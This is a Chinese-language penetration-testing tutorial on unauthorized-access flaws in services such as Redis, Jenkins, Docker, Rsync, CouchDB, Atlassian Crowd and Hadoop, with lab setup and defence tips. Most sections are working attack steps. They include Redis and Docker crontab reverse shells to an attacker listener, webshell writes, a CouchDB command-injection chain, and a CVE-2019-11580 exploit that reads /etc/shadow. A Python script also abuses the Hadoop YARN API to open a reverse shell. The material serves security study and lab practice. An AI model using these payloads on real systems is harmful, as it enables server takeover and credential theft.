本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
常见的未授权访问漏洞:
Redis 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
Docker 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞
Redis 未授权访问漏洞
漏洞简介以及危害
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器、添加计划任务、写入 Webshell 等操作。
漏洞利用
环境介绍
目标靶机: Centos7
ip地址: 192.168.18.138
连接工具:Xshell
环境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
未授权访问测试
使用 redis clinet 直接无账号成功登录 redis
从登录结果可以看出 redis 未启用认证。
利用 redis 写 webshell
利用前提:
靶机redis未授权,在攻击机能用redis clinet连接,如上图,并未登录验证
靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限
靶机网站路径:/var/www/html/
这里我们调出 Console
由于本地搭建,我们已经知道网站路径,我们把 shell 写入 / var/www/html / 目录下:
config set dir /var/www/html
config set dbfilename test.php
config set webshell "<?php phpinfo(); ?>"
save
利用 crontab 反弹 shell
端口监听:
在攻击机上监听一个端口(未被占用的任意端口):
nc -lvnp 5555
连接 redis,写入反弹 shell
redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save
nmap 检测
nmap -p 6379 --script redis-info <target>
地址:https://svn.nmap.org/nmap/scripts/redis-info.nse
Redis-RCE
最近出的 Redis-RCE,该漏洞利用前提是获取 redis 访问权限,也就是基于 redis 未授权访问。
防御手段
-禁止使用 root 权限启动 redis 服务。
-对 redis 访问启动密码认证。
-添加 IP 访问限制,并更改默认 6379 端口。
MongoDB 未授权访问漏洞
漏洞简介以及危害
开启 MongoDB 服务时不添加任何参数时, 默认是没有权限验证的, 登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 —auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
漏洞利用
环境介绍
目标靶机: Kali
ip地址: 192.168.18.128
连接工具:Xshell
环境搭建
这里使用 docker (https://www.runoob.com/docker/docker-tutorial.html 可自行 Google)
docker search mongodb # 从Docker Hub查找镜像
docker pull mongo #从镜像仓库中拉取或者更新指定镜像
docker images mongo #列出本地主机上的mongo镜像
docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令
docker ps -a # 显示所有的容器,包括未运行的
未授权访问测试
nmap 检测
nmap -p 27017 --script mongodb-info <target>
地址:http://nmap.org/svn/scripts/mongodb-info.nse
防御手段
-为 MongoDB 添加认证:MongoDB 启动时添加 —auth 参数、为 MongoDB 添加用户
-MongoDB 自身带有一个 HTTP 服务和并支持 REST 接口。在 2.6 以后这些接口默认是关闭的。mongoDB 默认会使用默认端口监听 web 服务,一般不需要通过 web 方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false
-启动时加入参数 —bind_ip 127.0.0.1 或在 / etc/mongodb.conf 文件中添加以下内容:bind_ip = 127.0.0.1
Jenkins 未授权访问漏洞
漏洞简介以及危害
默认情况下 Jenkins 面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
漏洞利用
环境介绍
目标靶机: kali
ip地址: 192.168.18.129
连接工具:Xshell
环境搭建
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载
下载地址:http://mirrors.jenkins.io/
dpkg -i jenkins_1.621_all.deb # 安装
sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行
开启Jenkins服务
service jenkinis start
浏览器访问http://192.168.18.129:8080/
如下图所示说明环境搭建成功
未授权访问测试
访问http://192.168.18.129:8080/manage 可以看到没有任何限制可以直接访问
Jenkins 未授权访问写 shell
println "whoami".execute().text
网站路径:/var/www/html (需要具备一定的权限)
利用 “脚本命令行” 写 webshell,点击运行没有报错, 写入成功
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');
访问 shell.php
更多利用方式可参考:https://www.secpulse.com/archives/2166.html
防御手段
-升级版本。
-添加认证,设置强密码复杂度及账号锁定。
-禁止把 Jenkins 直接暴露在公网。
Memcached 未授权访问漏洞
漏洞简介以及危害
Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的 Memcache 服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached 中的敏感信息。
漏洞利用
环境介绍
目标靶机: Windows Server 2012
ip地址: 10.0.4.138
连接工具:Xshell
环境搭建
64 位系统 1.4.4 版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip
解压压缩包到指定目录
使用管理员权限运行以下命令:
memcached.exe -d install
启动服务:
memcached.exe -d start
查看进程服务以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached
未授权访问测试
为了方便测试这里将防火墙关闭
telnet 10.0.4.138 11211 或 nc -vv <target> 11211
无需用户名密码,可以直接连接memcache 服务的11211端口
stats #查看memcache服务状态
nmap 检测
地址:https://svn.nmap.org/nmap/scripts/memcached-info.nse
nmap -p 11211 --script memcached-info <target>
防御手段
-设置 Memchached 只允许本地访问。
-禁止外网访问 Memcached 11211 端口。
-配置访问控制策略。
-最小化权限运行。
-修改默认端口等。
JBOSS 未授权访问漏洞
漏洞简介以及危害
JBoss 是一个基于 J2EE 的开放源代码应用服务器,代码遵循 LGPL 许可,可以在任何商业应用中免费使用;JBoss 也是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 规范。, 默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
漏洞利用
环境介绍
远程木马服务器: Centos
目标靶机: Kali
ip地址: 192.168.18.129
连接工具:Xshell
环境搭建
这里使用我修改过的 docker 镜像
docker search testjboss
docker pull testjboss/jboss:latest
docker images
docker run -p 8080:8080 -d 5661a2e31006
未授权访问测试
http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
利用 jboss.deployment 部署 shell
点击 jboss.deployment 进入应用部署页面
使用 apache 搭建远程木马服务器
访问木马地址 http:///shell.war
成功上传木马
访问http://192.168.18.129:8080/shell/
防御手段
-对 jmx 控制页面访问添加访问验证。
-进行 JMX Console 安全配置。
VNC 未授权访问漏洞
漏洞简介以及危害
VNC 是虚拟网络控制台 Virtual Network Console 的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司 AT&T 的欧洲研究实验室开发。VNC 是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制 target 主机。
漏洞利用
环境介绍
目标靶机: Windows Server 2003 Standard Edition
ip地址: 192.168.15.8
环境搭建
未授权访问测试
vncviewer 192.168.15.8
防御手段
-配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
-以最小普通权限身份运行操作系统。
Docker 未授权访问漏洞
漏洞简介以及危害
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台 Docker。
Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API。存在问题的版本分别为 1.3 和 1.6 因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
漏洞利用
环境介绍
目标靶机: Kali
ip地址: 192.168.15.5
连接工具:Xshell
环境搭建
# 下载环境
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
#或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit网址:https://minhaskamal.github.io/DownGit/#/home
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境
未授权访问测试
docker -H tcp://192.168.15.5:2375 version
通过 crontab 反弹宿主机 shell
# vps监听9999端口
nc -lvnp 9999
# 启动容器
docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps
docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 进入容器
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root # 查看/tmp/root 文件
exit #退出容器
还有其他比如写入 ssh 公钥等利用方式,方式方法都是大同小异的,这里就不再介绍了。
也可以直接利用 python 脚本
import docker
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Docker 未授权访问漏洞利用脚本[没试过]
https://github.com/Tycx2ry/docker_api_vul
防御手段
-简单粗暴的方法,对 2375 端口做网络访问控制,如 ACL 控制,或者访问规则。
-修改 docker swarm 的认证方式,使用 TLS 认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS 这两篇文档,说的是配置好 TLS 后,Docker CLI 在发送命令到 docker daemon 之前,会首先发送它的证书,如果证书是由 daemon 信任的 CA 所签名的,才可以继续执行。
ZooKeeper 未授权访问漏洞
漏洞简介以及危害
zookeeper 是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper 的默认开放端口是 2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill 命令)。攻击者能够执行所有只允许由管理员运行的命令。
漏洞利用
环境介绍
目标靶机:Centos
ip地址:172.16.2.251
连接工具:Xshell
环境搭建
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动
未授权访问测试
#获取该服务器的环境
echo envi|nc 172.16.2.251 2181
防御手段
-修改 ZooKeeper 默认端口,采用其他端口服务。
-添加访问控制,配置服务来源地址限制策略。
-增加 ZooKeeper 的认证配置。
Rsync 未授权访问漏洞
漏洞简介以及危害
Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。
漏洞利用
环境介绍
目标靶机:Kali
ip地址:172.16.2.250
连接工具:Xshell
环境搭建
#利用DownGit下载https://github.com/vulhub/vulhub/tree/master/rsync/common
DownGit网址:https://minhaskamal.github.io/DownGit/#/home
# 上传文件到靶机并进行解压
unzip common.zip
# 编译并启动docker容器
cd common/
docker-compose build && docker-compose up -d
未授权访问测试
#rsync rsync://{target_ip}/
rsync rsync://172.16.2.250:873/
rsync rsync://172.16.2.250:873/src
利用 rsync 下载任意文件
rsync rsync://172.16.2.250:873/src/etc/passwd ./
利用 rsync 反弹 shell
# 下载crontab配置文件
rsync rsync://172.16.2.250:873/src/etc/crontab ./
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
# 写入bash并赋权
vim nc
chmod 777
# 将文件上传至/etc/cron.hourly
rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly
# 本地监听9999
nc -lnvp 9999
防御手段
-账户认证:正确配置认证用户名及密码。
-权限控制:使用合理的权限。
-网络访问控制:控制接入源 ip。
-数据加密传输等
Atlassian Crowd 未授权访问漏洞
漏洞简介以及危害
Atlassian Crowd 和 Atlassian Crowd Data Center 都是澳大利亚 Atlassian 公司的产品。Atlassian Crowd 是一套基于 Web 的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center 是 Crowd 的集群部署版。Atlassian Crowd 和 Crowd Data Center 在其某些发行版本中错误地启用了 pdkinstall 开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对 Atlassian Crowd 和 Crowd Data Center 安装任意的恶意插件,执行任意代码 / 命令,从而获得服务器权限。
漏洞利用
环境介绍
目标靶机:Centos
ip地址:192.168.18.138
连接工具:Xshell
环境搭建
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
unzip atlassian-crowd-3.4.3.zip
cd atlassian-crowd-3.4.3
vim crowd-webapp/WEB-INF/classes/crowd-init.properties
./start_crowd.sh
访问http://192.168.18.138:8095 点击 Set up Crowd
可以在这里申请试用 30 天https://my.atlassian.com/products/index 并填写 license
进行下一步安装,直到安装完成。
未授权访问测试
进行上传一个标准的插件,来自 atlassian-bundled-plugins 中的 applinks-plugin-5.4.12.jar
curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v
Atlassian Crowd RCE
漏洞利用脚本 github 地址:https://github.com/jas502n/CVE-2019-11580
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
防御手段
-设置访问 / crowd/admin/uploadplugin.action 的源 ip。
-升级最新版本 (3.5.0 以上)。
CouchDB 未授权访问漏洞
漏洞简介以及危害
Apache CouchDB 是一个开源数据库,专注于易用性和成为 “完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序), 默认会在 5984 端口开放 Restful 的 API 接口,如果使用 SSL 的话就会监听在 6984 端口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在 0.0.0.0,所有用户均可通过 API 访问导致未授权访问。
在官方配置文档中对 HTTP Server 的配置有 WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
漏洞利用
环境介绍
目标靶机:Kali
ip地址:192.168.18.129
连接工具:Xshell
环境搭建
mkdir couchdb
wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml
docker-compose up -d
未授权访问测试
curl http://192.168.18.129:5984
curl http://192.168.18.129:5984/_config
任意命令执行
本机 python 运行 http 服务
python -m SimpleHTTPServer 9999
#依次执行如下命令
curl -X PUT 'http://192.168.18.129:5984/_config/query_servers/cmd' -d '"curl http://192.168.18.138:9999/test.php"'
curl -X PUT 'http://192.168.18.129:5984/vultest'
curl -X PUT 'http://192.168.18.129:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://192.168.18.129:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
nmap 扫描
nmap -p 5984 --script "couchdb-stats.nse" {target_ip}
防御手段
Elasticsearch 未授权访问漏洞
漏洞简介以及危害
ElasticSearch 是一个基于 Lucene 的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于 RESTful web 接口。Elasticsearch 是用 Java 开发的,并作为 Apache 许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch 的增删改查操作全部由 http 接口完成。由于 Elasticsearch 授权模块需要付费,所以免费开源的 Elasticsearch 可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有 Elasticsearch 的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
Elasticsearch 服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放 9200 或 9300 的服务器进行恶意攻击。
漏洞利用
环境介绍
目标靶机:Centos
ip地址:192.168.18.138
连接工具:Xshell
环境搭建
# elasticsearch需要JDK1.8+
# 创建elasticsearch用户,elasticsearch不能root执行
useradd elasticsearch
passwd elasticsearch
su elasticsearch
#下载环境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# 解压并启动
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch
未授权访问测试
curl http://localhost:9200/_nodes #查看节点数据
更多利用可以自行搜索一下
防御手段
-访问控制策略,限制 IP 访问,绑定固定 IP。
-在 config/elasticsearch.yml 中为 9200 端口设置认证等。
Hadoop 未授权访问漏洞
漏洞简介以及危害
Hadoop 是一个由 Apache 基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
漏洞利用
环境介绍
目标靶机:Kali
ip地址:192.168.18.129
连接工具:Xshell
环境搭建
mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py
#或者利用DownGit下载https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
DownGit网址:https://minhaskamal.github.io/DownGit/#/home
docker-compose build && docker-compose up -d #编译并启动环境
未授权访问测试
访问 http://192.168.18.129:8088/cluster
通过 REST API 命令执行
利用过程:
在本地监听端口 >> 创建 Application >> 调用 Submit Application API 提交
#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
防御手段
-如无必要,关闭 Hadoop Web 管理页面。
-开启身份验证,防止未经授权用户访问。
-设置 “安全组” 访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
Jupyter Notebook 未授权访问漏洞
漏洞简介以及危害
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。
漏洞利用
环境介绍
目标靶机:Kali
ip地址:192.168.18.129
连接工具:Xshell
环境搭建
wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
docker-compose up -d
未授权访问测试
利用 terminal 命令执行
防御手段
-开启身份验证,防止未经授权用户访问。
-访问控制策略,限制 IP 访问,绑定固定 IP。
鸣谢
感谢网络中的分享者(师傅们),在我整理知识的时候给了我很大的一个帮助。
https://xz.aliyun.com/t/6103#toc-6